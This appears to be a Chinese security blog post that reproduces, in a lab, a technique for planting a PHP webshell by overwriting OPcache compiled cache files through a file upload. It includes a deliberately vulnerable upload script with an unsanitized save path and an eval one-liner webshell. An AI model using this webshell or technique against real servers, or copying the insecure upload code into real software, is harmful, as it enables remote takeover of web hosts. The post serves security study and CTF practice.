Chybeta

利用PHP的OPcache机制getshell

OPcache扩展在PHP5.5.0版本后中已经绑定了,它可以把PHP脚本预编译的字节码存放到缓存中,从而提高性能,加速访问。同时也可以利用它来进行getshell。
本文是对 《binary-webshell-through-opcache-in-php-7》一文的测试。

关于OPcache

在我们指定了一个缓存目录(后面提到)后,php会把编译好的php字节码文件放到这个缓存目录中。这里假设该缓存目录是/var/www/html/opcache,未访问前,opcache文件夹为空。接下去我去访问 index.php后,php会在 opcache文件夹中创建一个名为md5哈希值的文件夹,其下的目录结构和 index.php所在目录结构相同,同时生成了 index.php.bin


这个index.php.bin 就是 index.php 的缓存文件。并且作为www-data用户,我们对 5672f68788bcb25b11403b33f5d1497f 具有读写执行权限。这样,我们想办法把这个index.php.bin替换为包含有恶意代码的index.php.bin文件,当我们再次去访问index.php时,php会选择加载这个缓存文件,从而我们达到了getshell的目的。这个思路,感觉跟二进制漏洞中的GOT覆写技术有点神似吧。

环境配置

php版本

1
2
3
4
5
root@4db5ba2ab3bf:/var/www/html# php -v
PHP 7.0.15-0ubuntu0.16.04.4 (cli) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies
with Zend OPcache v7.0.15-0ubuntu0.16.04.4, Copyright (c) 1999-2017, by Zend Technologies

配置OPcache

开启OPcache

在php配置文件 php.ini 的约莫 1745 行左右,找到如下配置:

1
;opcache.enable=0

去掉前面的分号;,将0改为1,如下:

1
opcache.enable=1

关闭时间戳验证

1
;opcache.validate_timestamps=1

修改为

1
opcache.validate_timestamps=0

设置OPcache缓存路径

继续向下翻,找到如下配置:

1
;opcache.file_cache=

这里我修改后的配置是:

1
opcache.file_cache= "/var/www/html/opcache"

设置缓存文件优先级

1
;opcache.file_cache_only=0

修改为

1
opcache.file_cache_only=1

重启apache

这里我以apache作为web服务器。

1
service apache2 resart

重启,使前面修改的php.ini生效

www目录

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>
<form action="upload-file.php" method="post" enctype="multipart/form-data">
<label for="file">filename:</label>
<input type="file" name="file" id="file" />
<br/>
<label for="filepath">filepath:</label>
<input type="text" name="filepath" id="filepath" />
<br/>
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>

upload-file.php

1
2
3
4
5
6
7
8
<?php
$path = $_POST['filepath'];
echo "filename: " . $_FILES["file"]["name"] . "<br />";
echo "type: " . $_FILES["file"]["type"] . "<br />";
echo "size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
move_uploaded_file($_FILES["file"]["tmp_name"], $path . $_FILES["file"]["name"]);
echo "save : " . $path . $_FILES["file"]["name"];
?>

那个。。代码写得很丑。。仅为测试之用:)

phpinfo.php

1
2
3
<?php
phpinfo();
?>

getshell

现在开始黑盒测试。。

利用phpinfo获取信息


可知,OPcache缓存路径在 /var/www/html/opcache 中。且服务器端开启了 opcache.file_cache_only,禁用了opcache.validate_timestamps。 这是能成功利用的条件。

php7-opcache-override.py

由前可知,在对缓存文件进行操作前,需要经过一个名称是md5哈希值的文件夹。这可以通过 hp7-opcache-override.py 来计算。

得到这个文件夹名为:5672f68788bcb25b11403b33f5d1497f

构建恶意的缓存文件

恶意的缓存文件得先本地生成,然后通过各种方式比如上传等去覆盖服务器上的缓存文件。我们先在本地配置好OPcache,这样才能生成缓存文件。然后本地新建一个 index.php,内容是一句话木马<?php @eval($_POST[test]);?>,之后访问它。在对应的缓存文件夹里可以看到index.php.bin

用十六进制编辑器打开,将OPCACHE.后的那串md5哈希值,替换为前一步骤得到的哈希值:5672f68788bcb25b11403b33f5d1497f ,修改后如下:

覆盖原缓存文件

在覆盖之前,先看看服务器上的原缓存文件长啥样:

这里利用上传来进行覆盖。访问index.php,选择修改后的index.php.bin进行上传,上传路径为要覆盖的缓存文件的相对地址 opcache/5672f68788bcb25b11403b33f5d1497f/var/www/html/

上传完成后,服务器上的缓存文件已经替换成我们构造的恶意文件了。

菜刀连上

此时再去访问 index.php,发现已经被修改了,不再是上传的页面。用菜刀连上,密码是 test 。成功getshell。

CTF

前面我们是通过上传来实现覆盖,但实际利用起来肯定没那么简单。利用OPcache来获得webshell的姿势一般都会和其他姿势相结合。比如下面两题CTF题

ASIS CTF 2016 – BinaryCloud

这题是通过上传来覆盖,但后端有各种过滤。
附上writeup

ALICTF 2016 - homework

这题利用sql注入的dumpfile来实现对缓存文件的覆盖。
附上writeup

(Author:chybeta)

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:利用PHP的OPcache机制getshell

文章作者:chybeta

发布时间:2017年05月13日 - 23:05

最后更新:2017年07月28日 - 15:07

原始链接:http://chybeta.github.io/2017/05/13/利用PHP的OPcache机制getshell/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。